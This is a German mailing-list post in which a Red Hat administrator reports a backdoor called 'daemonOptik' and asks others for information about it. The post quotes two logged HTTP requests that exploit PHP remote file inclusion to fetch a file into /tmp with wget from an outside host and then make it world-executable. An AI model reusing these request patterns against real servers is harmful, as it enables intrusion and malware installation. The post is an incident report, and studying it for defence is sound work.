daemonOptik Backdoor funcionando 18383
Matthias Borrack <[email protected]>
| Newsgroups | gmane.linux.redhat.general.german |
|---|---|
| Message-ID | <[email protected]> |
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hallo zusammen, meine Begeisterung für das obige hält sich in Grenzen, aber für den Anfang war es wohl ganz gut. Mit interessiert nur, ob das schon jemand kennt. Interessant ist der Weg nach "innen": "GET /index.php?page=http://xxx.xxxxx.com/cse.gif?&cmd=cd%20/tmp;wget%20http://xxx.xxxxx.com.br/informatica/smartboy/index.html HTTP/1.1" "GET /index.php?page=http://a1ts.250free.com/cse.gif?&cmd=cd%20/tmp;chmod%20777%20index.html.2 HTTP/1.1" Eigentlich war ich der Meinung, dies wäre zum einen seitens PHP nicht möglich, zum anderen sollte die index.php eigentlich genau solche Syntaxe abfangen. Ehrlich gesagt, ergibt der ganze Aufruf im Moment für mich nicht wirklich Sinn, vielleicht ist auch schon zu spät ;) Falls mir jemand Info's geben kann, wäre ich begeistert und dankbar. Wer es sezieren möchte, kann es auch haben. Übrigens: GCC: (GNU) 3.2.2 20030222 (Red Hat Linux 3.2.2-5) cu/2 iae Matthias -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFArmxzWTMfCbz57ScRAlzPAJ0Y/GybHEqFw2v7jIKPKvNf0srlzgCeNJic cHwRj6iH9CoRv8T8pdJjYRY= =TBPk -----END PGP SIGNATURE-----